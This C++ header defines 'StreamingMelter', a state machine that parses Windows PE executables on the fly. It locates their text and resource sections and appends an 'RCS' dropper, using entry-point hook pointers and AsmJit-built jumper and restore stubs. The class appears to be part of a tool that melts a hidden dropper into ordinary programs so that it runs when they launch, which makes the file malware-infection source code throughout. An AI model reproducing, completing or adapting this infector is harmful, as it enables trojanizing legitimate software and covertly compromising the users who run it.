#ifndef StreamingMelter_h__
#define StreamingMelter_h__

#include <iostream>
#include <map>
#include <string>
#include <vector>
using namespace std;

#include <boost/shared_ptr.hpp>
#include <boost/statechart/exception_translator.hpp>
#include <boost/statechart/state_machine.hpp>
namespace sc = boost::statechart;

#include <boost/filesystem/fstream.hpp>
#include <boost/filesystem.hpp>
namespace bf = boost::filesystem;

//#include <DropperHeader.h>
#include "../../RCSDropper/DropperHeader.h"

#include "Common.h"
#include "Chunk.h"
#include "Events.h"
#include "ParsingError.h"
#include "RCSDropper.h"
#include "debug.h"

#include <AsmJit.h>
#include "hook.h"

typedef std::map<std::string, std::size_t> offsetMap;

typedef boost::shared_ptr< IMAGE_SECTION_HEADER > ImageSectionHeader;
typedef struct _pe_t {
		IMAGE_NT_HEADERS ntHeader;
		std::vector< ImageSectionHeader > sections;
} PEInfo;

typedef struct _hookPointer_t {
	DWORD offset;
	DWORD va;
        DWORD size;
} hookPointer;

struct Parsing;

// TODO extract generic StreamingMelter then specialize for PE
struct StreamingMelter
	: sc::state_machine< StreamingMelter, Parsing, std::allocator<void>, parsing_exception_translator > 
{
public:
	StreamingMelter() 
		: done_(false), currentOffset_(0), idleToOffset_(0)
	{ 
		textSection_ = pe().sections.end();
		dropper_.reset();
		buffer_.reset(new Chunk());
		output_.reset(new Chunk());
	}
	
	~StreamingMelter() {}

	// GENERIC StreamingMelter methods

	bool done() const { return done_; }
	bool & done() { return done_; }
	
	std::size_t maxOffset() const { return ( currentOffset_ + buffer_->size() ); }
	
	std::size_t currentOffset() const { return currentOffset_; }
	std::size_t & currentOffset() { return currentOffset_; }

	std::size_t idleToOffset() const { return idleToOffset_; }
	std::size_t & idleToOffset() { return idleToOffset_; }
	
	ChunkPtr buffer() const { return buffer_; }
	const char * output() const 
	{ 
		//DEBUG_MSG(D_DEBUG, "outputting %d bytes.", (unsigned int)outputSize()); 
		return output_->const_data(); 
	}

	std::size_t outputSize() const { return output_->size(); }
	void clearOutput() { output_.reset(new Chunk); }

	void discardFromBuffer( std::size_t bytes ) { buffer_->discard( bytes ); }

	void append(ChunkPtr chunk)
	{
		*buffer_ += *chunk;
	}

	void complete(std::size_t size)
	{
		Chunk chunk = *buffer_ / size;
		completeChunk(chunk);
	}

	void complete(const char* data, std::size_t size)
	{
		Chunk chunk(data, size);
		completeChunk(chunk);
	}

	void completeChunk(const Chunk& chunk)
	{
		DEBUG_MSG(D_EXCESSIVE, "COMPLETING %d", chunk.size());
		*output_ += chunk;
		currentOffset_ += chunk.size();
	}

	ChunkPtr get(std::size_t size) { return boost::shared_ptr<Chunk>( new Chunk(*buffer_ / size) ); }
	
	void feed(const char *data, std::size_t size)
	{
		ChunkPtr chunk( new Chunk(data, size) );
		append(chunk);
		process_event( EvNewData() );
	}
	
	void setRCS(const char* file);
	std::size_t fileSize() const { return originalSize_; }
	std::size_t & fileSize() { return originalSize_; }

	// TODO round to average SectionAlignment (0x1000) ... it should fit
	std::size_t finalSize() {
		DEBUG_MSG(D_EXCESSIVE, "fileSize_        : %d", originalSize_);
		DEBUG_MSG(D_EXCESSIVE, "dropper_->size() : %d", dropper_->size());
		finalSize_ = alignTo(originalSize_ + dropper_->size(), 0x1000);
		return finalSize_;
	}

	// PE specific methods

	std::size_t sectionAlignment() { return pe().ntHeader.OptionalHeader.SectionAlignment; }
	std::size_t fileAlignment() { return pe().ntHeader.OptionalHeader.FileAlignment; }
	std::size_t numberOfSections() { return pe().ntHeader.FileHeader.NumberOfSections; }
	
	void addSection( PIMAGE_SECTION_HEADER const header ) 
	{
		ImageSectionHeader h( new IMAGE_SECTION_HEADER(*header) );
		pe().sections.push_back(h);
	}
	
	bool locateTextSection()
	{
		DWORD addressOfEntryPoint = pe().ntHeader.OptionalHeader.AddressOfEntryPoint;
		textSection_ = getSectionIter_( addressOfEntryPoint );
		if (textSection_ == pe().sections.end() )
			return false;

		return true;
	}

	bool locateResourceSection()
	{
		DWORD rva = pe().ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
		DEBUG_MSG(D_DEBUG, "Data directory entry for RESOURCE section: %08x", rva);
		resourceSection_ = getSectionIter_( rva );
		if (resourceSection_ == pe().sections.end() )
			return false;

		return true;
	}

	DWORD alignTo( DWORD size, DWORD base_size )
	{
		return ( ((size + base_size-1) / base_size) * base_size );
	}

	DWORD RVAToOffset( DWORD rva )
	{
		DWORD iC = 0;
		
		// TODO resolving offsets NOT IN SECTIONS will not work!!!
		
		for ( iC = 0; iC < pe().sections.size() ; iC++ )
		{
			DWORD VA = pe().sections[iC]->VirtualAddress;
			DWORD PRAW = pe().sections[iC]->PointerToRawData;
			DWORD SRAW = pe().sections[iC]->SizeOfRawData;
			if( VA /* && rva >= VA */ && rva <= ( VA + SRAW ) ) 
			{
				if (PRAW)
					return (rva + PRAW - VA);
				else
					return rva;
			}
		}
		
		return 0;
	}
	
	DWORD offsetToRVA( DWORD offset )
	{
		DWORD iC = 0;

		for (iC = 0; iC < pe().sections.size(); ++iC)
		{
			DWORD RVA = pe().sections[iC]->VirtualAddress;
			DWORD PRAW = pe().sections[iC]->PointerToRawData;
			DWORD SRAW = pe().sections[iC]->SizeOfRawData;

			if (!PRAW)
				continue;

			if( offset >= PRAW && offset <= ( PRAW + SRAW ) )
			{
				return (RVA + (offset - PRAW) );
			}
		}

		return 0;
	}

	void set_debug_function( debug_msg_t fn ) { set_debug_fn(fn); }

	PEInfo& pe() { return pe_; }

	ImageSectionHeader& textSection() { return *textSection_; }
	ImageSectionHeader& resourceSection() { return *resourceSection_; }
	ImageSectionHeader& firstSection() { return pe().sections.front(); }
	ImageSectionHeader& lastSection() { return pe().sections.back(); }

	hookPointer& stage1() { return stage1_; }
        
	offsetMap offsets;
	offsetMap rva;

	Dropper& dropper() { return *dropper_; }
	DWORD imageBase() { return pe().ntHeader.OptionalHeader.ImageBase; }
	DWORD dropperVA() { return imageBase() + resourceSection()->VirtualAddress + resourceSection()->SizeOfRawData; }
	DWORD currentVA() { return imageBase() + offsetToRVA( currentOffset() ); }

private:
	ImageSectionHeader& getSectionFromID_( DWORD directoryEntryID )
		{
			std::vector< ImageSectionHeader >::iterator iter = pe().sections.begin();
			DWORD rva = pe().ntHeader.OptionalHeader.DataDirectory[directoryEntryID].VirtualAddress;

			return getSectionFromRVA_(rva);
		}

		ImageSectionHeader& getSectionFromRVA_( DWORD rva )
		{
			std::vector< ImageSectionHeader >::iterator iter = getSectionIter_(rva);
			if ( iter == pe().sections.end() )
				throw std::runtime_error("No entry for specified RVA");

			return *iter;
		}

		std::vector< ImageSectionHeader >::iterator getSectionIter_( DWORD rva)
		{
			std::vector< ImageSectionHeader >::iterator iter = pe().sections.begin();

			for (; iter != pe().sections.end(); iter++)
			{
				ImageSectionHeader& section = *iter;
				if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->SizeOfRawData )
					return iter;
			}

			return pe().sections.end();
		}


	bool done_;

	// current offset in whole file
	std::size_t currentOffset_;
	std::size_t idleToOffset_;

	// bufferized data
	boost::shared_ptr<Chunk> buffer_;

	// data ready for output
	boost::shared_ptr<Chunk> output_;
	
	// dropper
	//boost::shared_array<char> rcs_;
	//std::size_t rcsSize_;

	std::size_t originalSize_;
	std::size_t finalSize_;

	PEInfo pe_;
	boost::shared_ptr<Dropper> dropper_;
        
	hookPointer stage1_;

	std::vector< ImageSectionHeader >::iterator textSection_;
	std::vector< ImageSectionHeader >::iterator resourceSection_;

	AsmJit::Assembler jumperStub_;
	AsmJit::Assembler restoreStub_;
};

#include "Parsing.h"

#endif // StreamingMelter_h__

.